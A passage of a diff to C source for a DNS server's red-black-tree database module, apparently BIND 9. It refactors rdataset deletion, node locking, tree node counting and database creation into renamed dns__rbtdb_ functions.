-	if (inactive) {
-		RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
-		rbtdb->active--;
-		if (rbtdb->active == 0) {
-			want_free = true;
+	/*
+	 * If header isn't NULL, we've found the right type.  There may be
+	 * IGNORE rdatasets between the top of the chain and the first real
+	 * data.  We skip over them.
+	 */
+	header = topheader;
+	while (header != NULL && IGNORE(header)) {
+		header = header->down;
+	}
+	if (header != NULL && EXISTS(header)) {
+		unsigned int flags = 0;
+		subresult = NULL;
+		result = ISC_R_SUCCESS;
+		if ((options & DNS_DBSUB_EXACT) != 0) {
+			flags |= DNS_RDATASLAB_EXACT;
+			if (newheader->ttl != header->ttl) {
+				result = DNS_R_NOTEXACT;
+			}
 		}
-		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
-		if (want_free) {
-			char buf[DNS_NAME_FORMATSIZE];
-			if (dns_name_dynamic(&rbtdb->common.origin)) {
-				dns_name_format(&rbtdb->common.origin, buf,
-						sizeof(buf));
-			} else {
-				strlcpy(buf, "<UNKNOWN>", sizeof(buf));
+		if (result == ISC_R_SUCCESS) {
+			result = dns_rdataslab_subtract(
+				(unsigned char *)header,
+				(unsigned char *)newheader,
+				(unsigned int)(sizeof(*newheader)),
+				rbtdb->common.mctx, rbtdb->common.rdclass,
+				(dns_rdatatype_t)header->type, flags,
+				&subresult);
+		}
+		if (result == ISC_R_SUCCESS) {
+			dns_slabheader_destroy(&newheader);
+			newheader = (dns_slabheader_t *)subresult;
+			dns_slabheader_reset(newheader, db, node);
+			dns_slabheader_copycase(newheader, header);
+			if (RESIGN(header)) {
+				DNS_SLABHEADER_SETATTR(
+					newheader, DNS_SLABHEADERATTR_RESIGN);
+				newheader->resign = header->resign;
+				newheader->resign_lsb = header->resign_lsb;
+				dns__zonedb_resigninsert(
+					rbtdb, rbtnode->locknum, newheader);
 			}
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_CACHE, ISC_LOG_DEBUG(1),
-				      "calling free_rbtdb(%s)", buf);
-			free_rbtdb(rbtdb, true, NULL);
+			/*
+			 * We have to set the serial since the rdataslab
+			 * subtraction routine copies the reserved portion of
+			 * header, not newheader.
+			 */
+			newheader->serial = rbtversion->serial;
+			/*
+			 * XXXJT: dns_rdataslab_subtract() copied the pointers
+			 * to additional info.  We need to clear these fields
+			 * to avoid having duplicated references.
+			 */
+			update_recordsandxfrsize(true, rbtversion, newheader,
+						 nodename->length);
+		} else if (result == DNS_R_NXRRSET) {
+			/*
+			 * This subtraction would remove all of the rdata;
+			 * add a nonexistent header instead.
+			 */
+			dns_slabheader_destroy(&newheader);
+			newheader = dns_slabheader_new((dns_db_t *)rbtdb,
+						       (dns_dbnode_t *)rbtnode);
+			dns__rbtdb_setttl(newheader, 0);
+			newheader->type = topheader->type;
+			atomic_init(&newheader->attributes,
+				    DNS_SLABHEADERATTR_NONEXISTENT);
+			newheader->serial = rbtversion->serial;
+		} else {
+			dns_slabheader_destroy(&newheader);
+			goto unlock;
+		}
+
+		/*
+		 * If we're here, we want to link newheader in front of
+		 * topheader.
+		 */
+		INSIST(rbtversion->serial >= topheader->serial);
+		update_recordsandxfrsize(false, rbtversion, header,
+					 nodename->length);
+		if (topheader_prev != NULL) {
+			topheader_prev->next = newheader;
+		} else {
+			rbtnode->data = newheader;
+		}
+		newheader->next = topheader->next;
+		newheader->down = topheader;
+		topheader->next = newheader;
+		rbtnode->dirty = 1;
+		changed->dirty = true;
+		dns__zonedb_resigndelete(rbtdb, rbtversion,
+					 header DNS__DB_FLARG_PASS);
+	} else {
+		/*
+		 * The rdataset doesn't exist, so we don't need to do anything
+		 * to satisfy the deletion request.
+		 */
+		dns_slabheader_destroy(&newheader);
+		if ((options & DNS_DBSUB_EXACT) != 0) {
+			result = DNS_R_NOTEXACT;
+		} else {
+			result = DNS_R_UNCHANGED;
 		}
 	}
-}
 
-static isc_result_t
-expirenode(dns_db_t *db, dns_dbnode_t *node, isc_stdtime_t now) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = node;
-	rdatasetheader_t *header;
-	bool force_expire = false;
+	if (result == ISC_R_SUCCESS && newrdataset != NULL) {
+		dns__rbtdb_bindrdataset(rbtdb, rbtnode, newheader, 0,
+					isc_rwlocktype_write,
+					newrdataset DNS__DB_FLARG_PASS);
+	}
+
+	if (result == DNS_R_NXRRSET && newrdataset != NULL &&
+	    (options & DNS_DBSUB_WANTOLD) != 0)
+	{
+		dns__rbtdb_bindrdataset(rbtdb, rbtnode, header, 0,
+					isc_rwlocktype_write,
+					newrdataset DNS__DB_FLARG_PASS);
+	}
+
+unlock:
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+
 	/*
-	 * These are the category and module used by the cache cleaner.
+	 * Update the zone's secure status.  If version is non-NULL
+	 * this is deferred until dns__rbtdb_closeversion() is called.
 	 */
-	bool log = false;
-	isc_logcategory_t *category = DNS_LOGCATEGORY_DATABASE;
-	isc_logmodule_t *module = DNS_LOGMODULE_CACHE;
-	int level = ISC_LOG_DEBUG(2);
-	char printname[DNS_NAME_FORMATSIZE];
+	if (result == ISC_R_SUCCESS && version == NULL && !IS_CACHE(rbtdb)) {
+		RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
+		version = rbtdb->current_version;
+		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
+		dns__rbtdb_setsecure(db, version, rbtdb->origin_node);
+	}
+
+	return (result);
+}
+
+isc_result_t
+dns__rbtdb_deleterdataset(dns_db_t *db, dns_dbnode_t *node,
+			  dns_dbversion_t *version, dns_rdatatype_t type,
+			  dns_rdatatype_t covers DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+	dns_rbtdb_version_t *rbtversion = version;
+	dns_fixedname_t fname;
+	dns_name_t *nodename = dns_fixedname_initname(&fname);
+	isc_result_t result;
+	dns_slabheader_t *newheader = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
+	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
 
-	/*
-	 * Caller must hold a tree lock.
-	 */
+	if (type == dns_rdatatype_any) {
+		return (ISC_R_NOTIMPLEMENTED);
+	}
+	if (type == dns_rdatatype_rrsig && covers == 0) {
+		return (ISC_R_NOTIMPLEMENTED);
+	}
 
-	if (now == 0) {
-		isc_stdtime_get(&now);
+	newheader = dns_slabheader_new(db, node);
+	newheader->type = DNS_TYPEPAIR_VALUE(type, covers);
+	dns__rbtdb_setttl(newheader, 0);
+	atomic_init(&newheader->attributes, DNS_SLABHEADERATTR_NONEXISTENT);
+	if (rbtversion != NULL) {
+		newheader->serial = rbtversion->serial;
 	}
 
-	if (isc_mem_isovermem(rbtdb->common.mctx)) {
-		/*
-		 * Force expire with 25% probability.
-		 * XXXDCL Could stand to have a better policy, like LRU.
-		 */
-		force_expire = (rbtnode->down == NULL &&
-				(isc_random32() % 4) == 0);
+	dns__rbtdb_nodefullname(db, node, nodename);
 
-		/*
-		 * Note that 'log' can be true IFF overmem is also true.
-		 * overmem can currently only be true for cache
-		 * databases -- hence all of the "overmem cache" log strings.
-		 */
-		log = isc_log_wouldlog(dns_lctx, level);
-		if (log) {
-			isc_log_write(
-				dns_lctx, category, module, level,
-				"overmem cache: %s %s",
-				force_expire ? "FORCE" : "check",
-				dns_rbt_formatnodename(rbtnode, printname,
-						       sizeof(printname)));
-		}
-	}
+	NODE_WRLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+	result = dns__rbtdb_add(rbtdb, rbtnode, nodename, rbtversion, newheader,
+				DNS_DBADD_FORCE, false, NULL,
+				0 DNS__DB_FLARG_PASS);
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 
 	/*
-	 * We may not need write access, but this code path is not performance
-	 * sensitive, so it should be okay to always lock as a writer.
+	 * Update the zone's secure status.  If version is non-NULL
+	 * this is deferred until dns__rbtdb_closeversion() is called.
 	 */
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-
-	for (header = rbtnode->data; header != NULL; header = header->next) {
-		if (header->rdh_ttl + rbtdb->serve_stale_ttl <=
-		    now - RBTDB_VIRTUAL) {
-			/*
-			 * We don't check if refcurrent(rbtnode) == 0 and try
-			 * to free like we do in cache_find(), because
-			 * refcurrent(rbtnode) must be non-zero.  This is so
-			 * because 'node' is an argument to the function.
-			 */
-			mark_header_ancient(rbtdb, header);
-			if (log) {
-				isc_log_write(dns_lctx, category, module, level,
-					      "overmem cache: ancient %s",
-					      printname);
-			}
-		} else if (force_expire) {
-			if (!RETAIN(header)) {
-				set_ttl(rbtdb, header, 0);
-				mark_header_ancient(rbtdb, header);
-			} else if (log) {
-				isc_log_write(dns_lctx, category, module, level,
-					      "overmem cache: "
-					      "reprieve by RETAIN() %s",
-					      printname);
-			}
-		} else if (isc_mem_isovermem(rbtdb->common.mctx) && log) {
-			isc_log_write(dns_lctx, category, module, level,
-				      "overmem cache: saved %s", printname);
-		}
+	if (result == ISC_R_SUCCESS && version == NULL && !IS_CACHE(rbtdb)) {
+		RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
+		version = rbtdb->current_version;
+		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
+		dns__rbtdb_setsecure(db, version, rbtdb->origin_node);
 	}
 
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-
-	return (ISC_R_SUCCESS);
+	return (result);
 }
 
 static void
-overmem(dns_db_t *db, bool over) {
-	/* This is an empty callback.  See adb.c:water() */
-
-	UNUSED(db);
-	UNUSED(over);
+delete_callback(void *data, void *arg) {
+	dns_rbtdb_t *rbtdb = arg;
+	dns_slabheader_t *current = NULL, *next = NULL;
+	unsigned int locknum;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
-	return;
+	current = data;
+	locknum = HEADER_NODE(current)->locknum;
+	NODE_WRLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
+	while (current != NULL) {
+		next = current->next;
+		dns_slabheader_destroy(&current);
+		current = next;
+	}
+	NODE_UNLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
 }
 
-static void
-printnode(dns_db_t *db, dns_dbnode_t *node, FILE *out) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = node;
-	bool first;
-	uint32_t refs;
+unsigned int
+dns__rbtdb_nodecount(dns_db_t *db, dns_dbtree_t tree) {
+	dns_rbtdb_t *rbtdb = NULL;
+	unsigned int count;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+
+	rbtdb = (dns_rbtdb_t *)db;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
 
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_read);
+	TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
+	switch (tree) {
+	case dns_dbtree_main:
+		count = dns_rbt_nodecount(rbtdb->tree);
+		break;
+	case dns_dbtree_nsec:
+		count = dns_rbt_nodecount(rbtdb->nsec);
+		break;
+	case dns_dbtree_nsec3:
+		count = dns_rbt_nodecount(rbtdb->nsec3);
+		break;
+	default:
+		UNREACHABLE();
+	}
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 
-	refs = isc_refcount_current(&rbtnode->references);
-	fprintf(out, "node %p, %" PRIu32 " references, locknum = %u\n", rbtnode,
-		refs, rbtnode->locknum);
-	if (rbtnode->data != NULL) {
-		rdatasetheader_t *current, *top_next;
+	return (count);
+}
 
-		for (current = rbtnode->data; current != NULL;
-		     current = top_next) {
-			top_next = current->next;
-			first = true;
-			fprintf(out, "\ttype %u", current->type);
-			do {
-				uint_least16_t attributes = atomic_load_acquire(
-					&current->attributes);
-				if (!first) {
-					fprintf(out, "\t");
-				}
-				first = false;
-				fprintf(out,
-					"\tserial = %lu, ttl = %u, "
-					"trust = %u, attributes = %" PRIuLEAST16
-					", "
-					"resign = %u\n",
-					(unsigned long)current->serial,
-					current->rdh_ttl, current->trust,
-					attributes,
-					(current->resign << 1) |
-						current->resign_lsb);
-				current = current->down;
-			} while (current != NULL);
-		}
-	} else {
-		fprintf(out, "(empty)\n");
-	}
+void
+dns__rbtdb_setloop(dns_db_t *db, isc_loop_t *loop) {
+	dns_rbtdb_t *rbtdb = NULL;
+
+	rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
 
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_read);
+	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
+	if (rbtdb->loop != NULL) {
+		isc_loop_detach(&rbtdb->loop);
+	}
+	if (loop != NULL) {
+		isc_loop_attach(loop, &rbtdb->loop);
+	}
+	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
 }
 
-static isc_result_t
-createiterator(dns_db_t *db, unsigned int options,
-	       dns_dbiterator_t **iteratorp) {
+isc_result_t
+dns__rbtdb_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	rbtdb_dbiterator_t *rbtdbiter;
+	dns_rbtnode_t *onode = NULL;
+	isc_result_t result = ISC_R_SUCCESS;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(nodep != NULL && *nodep == NULL);
 
-	rbtdbiter = isc_mem_get(rbtdb->common.mctx, sizeof(*rbtdbiter));
-
-	rbtdbiter->common.methods = &dbiterator_methods;
-	rbtdbiter->common.db = NULL;
-	dns_db_attach(db, &rbtdbiter->common.db);
-	rbtdbiter->common.relative_names = ((options & DNS_DB_RELATIVENAMES) !=
-					    0);
-	rbtdbiter->common.magic = DNS_DBITERATOR_MAGIC;
-	rbtdbiter->common.cleaning = false;
-	rbtdbiter->paused = true;
-	rbtdbiter->tree_locked = isc_rwlocktype_none;
-	rbtdbiter->result = ISC_R_SUCCESS;
-	dns_fixedname_init(&rbtdbiter->name);
-	dns_fixedname_init(&rbtdbiter->origin);
-	rbtdbiter->node = NULL;
-	rbtdbiter->delcnt = 0;
-	rbtdbiter->nsec3only = ((options & DNS_DB_NSEC3ONLY) != 0);
-	rbtdbiter->nonsec3 = ((options & DNS_DB_NONSEC3) != 0);
-	memset(rbtdbiter->deletions, 0, sizeof(rbtdbiter->deletions));
-	dns_rbtnodechain_init(&rbtdbiter->chain);
-	dns_rbtnodechain_init(&rbtdbiter->nsec3chain);
-	if (rbtdbiter->nsec3only) {
-		rbtdbiter->current = &rbtdbiter->nsec3chain;
+	/* Note that the access to origin_node doesn't require a DB lock */
+	onode = (dns_rbtnode_t *)rbtdb->origin_node;
+	if (onode != NULL) {
+		dns__rbtdb_newref(rbtdb, onode,
+				  isc_rwlocktype_none DNS__DB_FLARG_PASS);
+		*nodep = rbtdb->origin_node;
 	} else {
-		rbtdbiter->current = &rbtdbiter->chain;
+		INSIST(IS_CACHE(rbtdb));
+		result = ISC_R_NOTFOUND;
 	}
 
-	*iteratorp = (dns_dbiterator_t *)rbtdbiter;
+	return (result);
+}
 
-	return (ISC_R_SUCCESS);
+void
+dns__rbtdb_locknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+
+	RWLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, type);
 }
 
-static isc_result_t
-zone_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		  dns_rdatatype_t type, dns_rdatatype_t covers,
-		  isc_stdtime_t now, dns_rdataset_t *rdataset,
-		  dns_rdataset_t *sigrdataset) {
+void
+dns__rbtdb_unlocknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+
+	RWUNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, type);
+}
+
+isc_result_t
+dns__rbtdb_nodefullname(dns_db_t *db, dns_dbnode_t *node, dns_name_t *name) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
 	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
-	rdatasetheader_t *header, *header_next, *found, *foundsig;
-	rbtdb_serial_t serial;
-	rbtdb_version_t *rbtversion = version;
-	bool close_version = false;
-	rbtdb_rdatatype_t matchtype, sigmatchtype;
+	isc_result_t result;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(type != dns_rdatatype_any);
-	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
+	REQUIRE(node != NULL);
+	REQUIRE(name != NULL);
 
-	if (rbtversion == NULL) {
-		currentversion(db, (dns_dbversion_t **)(void *)(&rbtversion));
-		close_version = true;
-	}
-	serial = rbtversion->serial;
-	now = 0;
+	TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
+	result = dns_rbt_fullnamefromnode(rbtnode, name);
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_read);
+	return (result);
+}
 
-	found = NULL;
-	foundsig = NULL;
-	matchtype = RBTDB_RDATATYPE_VALUE(type, covers);
-	if (covers == 0) {
-		sigmatchtype = RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, type);
-	} else {
-		sigmatchtype = 0;
-	}
+isc_result_t
+dns__rbtdb_create(isc_mem_t *mctx, const dns_name_t *origin, dns_dbtype_t type,
+		  dns_rdataclass_t rdclass, unsigned int argc, char *argv[],
+		  void *driverarg ISC_ATTR_UNUSED, dns_db_t **dbp) {
+	dns_rbtdb_t *rbtdb = NULL;
+	isc_result_t result;
+	int i;
+	dns_name_t name;
+	isc_mem_t *hmctx = mctx;
 
-	for (header = rbtnode->data; header != NULL; header = header_next) {
-		header_next = header->next;
-		do {
-			if (header->serial <= serial && !IGNORE(header)) {
-				/*
-				 * Is this a "this rdataset doesn't
-				 * exist" record?
-				 */
-				if (NONEXISTENT(header)) {
-					header = NULL;
-				}
-				break;
-			} else {
-				header = header->down;
-			}
-		} while (header != NULL);
-		if (header != NULL) {
-			/*
-			 * We have an active, extant rdataset.  If it's a
-			 * type we're looking for, remember it.
-			 */
-			if (header->type == matchtype) {
-				found = header;
-				if (foundsig != NULL) {
-					break;
-				}
-			} else if (header->type == sigmatchtype) {
-				foundsig = header;
-				if (found != NULL) {
-					break;
-				}
-			}
-		}
-	}
-	if (found != NULL) {
-		bind_rdataset(rbtdb, rbtnode, found, now, isc_rwlocktype_read,
-			      rdataset);
-		if (foundsig != NULL) {
-			bind_rdataset(rbtdb, rbtnode, foundsig, now,
-				      isc_rwlocktype_read, sigrdataset);
-		}
-	}
+	rbtdb = isc_mem_get(mctx, sizeof(*rbtdb));
+	*rbtdb = (dns_rbtdb_t){
+		.common.origin = DNS_NAME_INITEMPTY,
+		.common.rdclass = rdclass,
+		.current_serial = 1,
+		.least_serial = 1,
+		.next_serial = 2,
+		.open_versions = ISC_LIST_INITIALIZER,
+	};
 
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_read);
+	isc_refcount_init(&rbtdb->common.references, 1);
 
-	if (close_version) {
-		closeversion(db, (dns_dbversion_t **)(void *)(&rbtversion),
-			     false);
+	/*
+	 * If argv[0] exists, it points to a memory context to use for heap
+	 */
+	if (argc != 0) {
+		hmctx = (isc_mem_t *)argv[0];
 	}
 
-	if (found == NULL) {
-		return (ISC_R_NOTFOUND);
+	if (type == dns_dbtype_cache) {
+		rbtdb->common.methods = &dns__rbtdb_cachemethods;
+		rbtdb->common.attributes |= DNS_DBATTR_CACHE;
+	} else if (type == dns_dbtype_stub) {
+		rbtdb->common.methods = &dns__rbtdb_zonemethods;
+		rbtdb->common.attributes |= DNS_DBATTR_STUB;
+	} else {
+		rbtdb->common.methods = &dns__rbtdb_zonemethods;
 	}
 
-	return (ISC_R_SUCCESS);
-}
+	RBTDB_INITLOCK(&rbtdb->lock);
+	TREE_INITLOCK(&rbtdb->tree_lock);
 
-static isc_result_t
-cache_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		   dns_rdatatype_t type, dns_rdatatype_t covers,
-		   isc_stdtime_t now, dns_rdataset_t *rdataset,
-		   dns_rdataset_t *sigrdataset) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
-	rdatasetheader_t *header, *header_next, *found, *foundsig;
-	rbtdb_rdatatype_t matchtype, sigmatchtype, negtype;
-	isc_result_t result;
-	nodelock_t *lock;
-	isc_rwlocktype_t locktype;
+	/*
+	 * Initialize node_lock_count in a generic way to support future
+	 * extension which allows the user to specify this value on creation.
+	 * Note that when specified for a cache DB it must be larger than 1
+	 * as commented with the definition of DEFAULT_CACHE_NODE_LOCK_COUNT.
+	 */
+	if (rbtdb->node_lock_count == 0) {
+		if (IS_CACHE(rbtdb)) {
+			rbtdb->node_lock_count = DEFAULT_CACHE_NODE_LOCK_COUNT;
+		} else {
+			rbtdb->node_lock_count = DEFAULT_NODE_LOCK_COUNT;
+		}
+	} else if (rbtdb->node_lock_count < 2 && IS_CACHE(rbtdb)) {
+		result = ISC_R_RANGE;
+		goto cleanup_tree_lock;
+	}
+	INSIST(rbtdb->node_lock_count < (1 << DNS_RBT_LOCKLENGTH));
+	rbtdb->node_locks = isc_mem_get(mctx, rbtdb->node_lock_count *
+						      sizeof(rbtdb_nodelock_t));
 
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(type != dns_rdatatype_any);
+	rbtdb->common.update_listeners = cds_lfht_new(16, 16, 0, 0, NULL);
 
-	UNUSED(version);
+	if (IS_CACHE(rbtdb)) {
+		dns_rdatasetstats_create(mctx, &rbtdb->rrsetstats);
+		rbtdb->lru = isc_mem_get(mctx,
+					 rbtdb->node_lock_count *
+						 sizeof(dns_slabheaderlist_t));
+		for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
+			ISC_LIST_INIT(rbtdb->lru[i]);
+		}
+	}
 
-	result = ISC_R_SUCCESS;
+	/*
+	 * Create the heaps.
+	 */
+	rbtdb->heaps = isc_mem_get(hmctx, rbtdb->node_lock_count *
+						  sizeof(isc_heap_t *));
+	for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
+		rbtdb->heaps[i] = NULL;
+	}
 
-	if (now == 0) {
-		isc_stdtime_get(&now);
+	rbtdb->sooner = IS_CACHE(rbtdb) ? ttl_sooner : resign_sooner;
+	for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
+		isc_heap_create(hmctx, rbtdb->sooner, set_index, 0,
+				&rbtdb->heaps[i]);
+	}
+
+	/*
+	 * Create deadnode lists.
+	 */
+	rbtdb->deadnodes = isc_mem_get(mctx, rbtdb->node_lock_count *
+						     sizeof(dns_rbtnodelist_t));
+	for (i = 0; i < (int)rbtdb->node_lock_count; i++) {
+		ISC_LIST_INIT(rbtdb->deadnodes[i]);
 	}
 
-	lock = &rbtdb->node_locks[rbtnode->locknum].lock;
-	locktype = isc_rwlocktype_read;
-	NODE_LOCK(lock, locktype);
+	rbtdb->active = rbtdb->node_lock_count;
 
-	found = NULL;
-	foundsig = NULL;
-	matchtype = RBTDB_RDATATYPE_VALUE(type, covers);
-	negtype = RBTDB_RDATATYPE_VALUE(0, type);
-	if (covers == 0) {
-		sigmatchtype = RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, type);
-	} else {
-		sigmatchtype = 0;
+	for (i = 0; i < (int)(rbtdb->node_lock_count); i++) {
+		NODE_INITLOCK(&rbtdb->node_locks[i].lock);
+		isc_refcount_init(&rbtdb->node_locks[i].references, 0);
+		rbtdb->node_locks[i].exiting = false;
 	}
 
-	for (header = rbtnode->data; header != NULL; header = header_next) {
-		header_next = header->next;
-		if (!ACTIVE(header, now)) {
-			if ((header->rdh_ttl + rbtdb->serve_stale_ttl <
-			     now - RBTDB_VIRTUAL) &&
-			    (locktype == isc_rwlocktype_write ||
-			     NODE_TRYUPGRADE(lock) == ISC_R_SUCCESS))
-			{
-				/*
-				 * We update the node's status only when we
-				 * can get write access.
-				 */
-				locktype = isc_rwlocktype_write;
+	/*
+	 * Attach to the mctx.  The database will persist so long as there
+	 * are references to it, and attaching to the mctx ensures that our
+	 * mctx won't disappear out from under us.
+	 */
+	isc_mem_attach(mctx, &rbtdb->common.mctx);
+	isc_mem_attach(hmctx, &rbtdb->hmctx);
 
-				/*
-				 * We don't check if refcurrent(rbtnode) == 0
-				 * and try to free like we do in cache_find(),
-				 * because refcurrent(rbtnode) must be
-				 * non-zero.  This is so because 'node' is an
-				 * argument to the function.
-				 */
-				mark_header_ancient(rbtdb, header);
-			}
-		} else if (EXISTS(header) && !ANCIENT(header)) {
-			if (header->type == matchtype) {
-				found = header;
-			} else if (header->type == RBTDB_RDATATYPE_NCACHEANY ||
-				   header->type == negtype) {
-				found = header;
-			} else if (header->type == sigmatchtype) {
-				foundsig = header;
-			}
-		}
+	/*
+	 * Make a copy of the origin name.
+	 */
+	result = dns_name_dupwithoffsets(origin, mctx, &rbtdb->common.origin);
+	if (result != ISC_R_SUCCESS) {
+		free_rbtdb(rbtdb, false);
+		return (result);
 	}
-	if (found != NULL) {
-		bind_rdataset(rbtdb, rbtnode, found, now, locktype, rdataset);
-		if (!NEGATIVE(found) && foundsig != NULL) {
-			bind_rdataset(rbtdb, rbtnode, foundsig, now, locktype,
-				      sigrdataset);
-		}
+
+	/*
+	 * Make the Red-Black Trees.
+	 */
+	result = dns_rbt_create(mctx, delete_callback, rbtdb, &rbtdb->tree);
+	if (result != ISC_R_SUCCESS) {
+		free_rbtdb(rbtdb, false);
+		return (result);
 	}
 
-	NODE_UNLOCK(lock, locktype);
+	result = dns_rbt_create(mctx, delete_callback, rbtdb, &rbtdb->nsec);
+	if (result != ISC_R_SUCCESS) {
+		free_rbtdb(rbtdb, false);
+		return (result);
+	}
 
-	if (found == NULL) {
-		return (ISC_R_NOTFOUND);
+	result = dns_rbt_create(mctx, delete_callback, rbtdb, &rbtdb->nsec3);
+	if (result != ISC_R_SUCCESS) {
+		free_rbtdb(rbtdb, false);
+		return (result);
 	}
 
-	if (NEGATIVE(found)) {
+	/*
+	 * In order to set the node callback bit correctly in zone databases,
+	 * we need to know if the node has the origin name of the zone.
+	 * In loading_addrdataset() we could simply compare the new name
+	 * to the origin name, but this is expensive.  Also, we don't know the
+	 * node name in dns__rbtdb_addrdataset(), so we need another way of
+	 * knowing the zone's top.
+	 *
+	 * We now explicitly create a node for the zone's origin, and then
+	 * we simply remember the node's address.  This is safe, because
+	 * the top-of-zone node can never be deleted, nor can its address
+	 * change.
+	 */
+	if (!IS_CACHE(rbtdb)) {
+		result = dns_rbt_addnode(rbtdb->tree, &rbtdb->common.origin,
+					 &rbtdb->origin_node);
+		if (result != ISC_R_SUCCESS) {
+			INSIST(result != ISC_R_EXISTS);
+			free_rbtdb(rbtdb, false);
+			return (result);
+		}
+		INSIST(rbtdb->origin_node != NULL);
+		rbtdb->origin_node->nsec = DNS_RBT_NSEC_NORMAL;
 		/*
-		 * We found a negative cache entry.
+		 * We need to give the origin node the right locknum.
 		 */
-		if (NXDOMAIN(found)) {
-			result = DNS_R_NCACHENXDOMAIN;
-		} else {
-			result = DNS_R_NCACHENXRRSET;
+		dns_name_init(&name, NULL);
+		dns_rbt_namefromnode(rbtdb->origin_node, &name);
+		rbtdb->origin_node->locknum = rbtdb->origin_node->hashval %
+					      rbtdb->node_lock_count;
+		/*
+		 * Add an apex node to the NSEC3 tree so that NSEC3 searches
+		 * return partial matches when there is only a single NSEC3
+		 * record in the tree.
+		 */
+		result = dns_rbt_addnode(rbtdb->nsec3, &rbtdb->common.origin,
+					 &rbtdb->nsec3_origin_node);
+		if (result != ISC_R_SUCCESS) {
+			INSIST(result != ISC_R_EXISTS);
+			free_rbtdb(rbtdb, false);
+			return (result);
 		}
+		rbtdb->nsec3_origin_node->nsec = DNS_RBT_NSEC_NSEC3;
+		/*
+		 * We need to give the nsec3 origin node the right locknum.
+		 */
+		dns_name_init(&name, NULL);
+		dns_rbt_namefromnode(rbtdb->nsec3_origin_node, &name);
+		rbtdb->nsec3_origin_node->locknum =
+			rbtdb->nsec3_origin_node->hashval %
+			rbtdb->node_lock_count;
 	}
 
-	update_cachestats(rbtdb, result);
-
-	return (result);
-}
+	/*
+	 * Version Initialization.
+	 */
+	rbtdb->current_version = allocate_version(mctx, 1, 1, false);
+	rbtdb->current_version->rbtdb = rbtdb;
+	isc_rwlock_init(&rbtdb->current_version->rwlock);
 
-static isc_result_t
-allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	     isc_stdtime_t now, dns_rdatasetiter_t **iteratorp) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
-	rbtdb_version_t *rbtversion = version;
-	rbtdb_rdatasetiter_t *iterator;
+	/*
